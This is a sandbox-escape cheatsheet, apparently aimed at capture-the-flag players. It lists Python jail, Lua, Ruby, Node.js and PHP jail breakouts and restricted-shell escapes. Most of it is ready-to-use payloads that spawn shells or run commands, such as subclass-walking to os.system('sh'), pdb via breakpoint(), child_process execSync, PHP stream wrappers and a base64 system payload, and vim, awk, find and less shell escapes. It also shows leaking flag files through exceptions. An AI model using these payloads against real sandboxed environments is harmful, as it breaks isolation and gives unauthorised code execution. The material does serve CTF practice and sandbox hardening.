sandbox::escape cheatsheet

reverse pyjail · lua restricted shell
MindsetPyjailLua / Language JailsRestricted Shells
01Jail Mindset
Questions first
- which language?
- which primitives are blocked?
- eval / REPL / template / restricted shell?
- can I inspect globals / builtins / classes / metatables?
- blacklist or allowlist?
- is output filtered or truncated?
Generic strategy
1. fingerprint constraints
2. enumerate what is still reachable
3. use reflection / meta-programming
4. rebuild blocked names indirectly
5. pivot to file read / import / process execution
6. if shell-like, abuse allowed binaries or env
Common escape classes
- reflection / introspection
- object graph traversal
- hidden globals
- debug helpers
- template helper abuse
- env / PATH abuse
- shell escapes in editors / pagers
02Pyjail
What to enumerate
dir()
globals()
locals()
().__class__
().__class__.__mro__
().__class__.__base__.__subclasses__()
(lambda:0).__globals__
Typical escape ideas
- recover __builtins__
- walk __subclasses__()
- use function globals
- rebuild blocked strings with chr / join / slicing
- getattr around blacklists
- find import / open / system / subprocess primitives
Minimal patterns
().__class__.__base__.__subclasses__()
getattr(obj,"__"+"class__")
"".join(map(chr,[95,95,105,109,112,111,114,116,95,95]))

Then pivot to:
- import
- file read
- command execution
Advanced pyjail techniques
# format string to leak globals
"{0.__class__.__init__.__globals__}".format(obj)
f"{x.__class__.__base__}"

# ast.literal_eval bypass — not really safe
# only evals literals but can OOM / crash

# audit hooks (Python 3.8+)
# sys.addaudithook() — if set, all calls logged
# check: try/except around blocked calls

# exec/eval with custom globals
exec("import os; os.system('sh')", {"__builtins__":{}})
# ↑ blocked builtins? rebuild from subclasses

# breakpoint() → drops to pdb → shell
breakpoint()
# in pdb: import os; os.system("sh")

# exception messages can leak data
raise Exception(open("flag.txt").read())

# compile + exec
exec(compile("import os","","exec"))
Subclass walking cookbook
# find useful subclasses
for i,c in enumerate(''.__class__.__mro__[-1].__subclasses__()):
  if 'wrap' in c.__name__.lower(): print(i,c)

# common targets (index varies by version)
# os._wrap_close → has __init__.__globals__['system']
''.__class__.__mro__[-1].__subclasses__()[INDEX]
  .__init__.__globals__['system']('sh')

# _frozen_importlib.BuiltinImporter
''.__class__.__mro__[-1].__subclasses__()[INDEX]
  .load_module('os').system('id')

# catch_warnings has _module (linecache→os)
[c for c in ().__class__.__base__.__subclasses__()
  if c.__name__=='catch_warnings'][0]()._module
  .__builtins__['__import__']('os').system('sh')

# bypass char restrictions
getattr(getattr('',"__class__"),"__mro__")
# use chr() to build any string
s=chr(95)*2+chr(105)+chr(109)+chr(112)+...
03Lua / Language Jails
Lua checks
_G
debug
package
require
load / loadstring
getmetatable / setmetatable
io / os
Lua escape ideas
- inspect _G for stripped globals
- use debug.getregistry() if present
- check package.loaded
- restore dangerous modules with require
- use os.execute / io.open if reachable
Ruby jail
# key objects
ObjectSpace.each_object(Class)
Kernel
send / public_send    # call any method
method(:system).call("sh")
`id`                   # backtick = shell exec
%x[id]                 # same
exec("sh")
IO.popen("id").read
# bypass string filter: send("sys"+"tem","sh")
JS / Node jail
# Function constructor → arbitrary code
[].constructor.constructor("return this")()
Function("return process")()

# Node.js
process.mainModule.require('child_process')
  .execSync('id').toString()

# without process keyword
this.constructor.constructor
  ("return this.process")()
  .mainModule.require("child_process")
  .execSync("id").toString()

# prototype pollution → RCE in some frameworks
# vm module escapes (vm.runInNewContext)
this.__proto__.constructor.constructor
  ("return process")()
PHP jail
# common dangerous functions
system exec passthru shell_exec popen
proc_open pcntl_exec

# stream wrappers
php://filter/convert.base64-encode/resource=flag.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOw==
expect://id

# variable functions
$f="system"; $f("id");
# variable variables
$$a = "system"; $$a("id");

# backtick operator
`id`

# preg_replace /e (deprecated but seen in CTF)
preg_replace('/.*/e','system("id")','')
04Restricted Shells
Fingerprint quickly
echo $0
echo $SHELL
set
env
compgen -c
pwd; id; ls
Escape ideas
- editors: vi / vim
- pagers: less / more / man
- awk / find / perl / python / lua still installed
- tar / zip helper execution
- PATH abuse
- PAGER / VISUAL / EDITOR env variables
Practical one-liners
vim -c ':set shell=/bin/sh' -c ':shell'
awk 'BEGIN{system("/bin/sh")}'
find . -exec /bin/sh \; -quit
less file then !sh
man man then !sh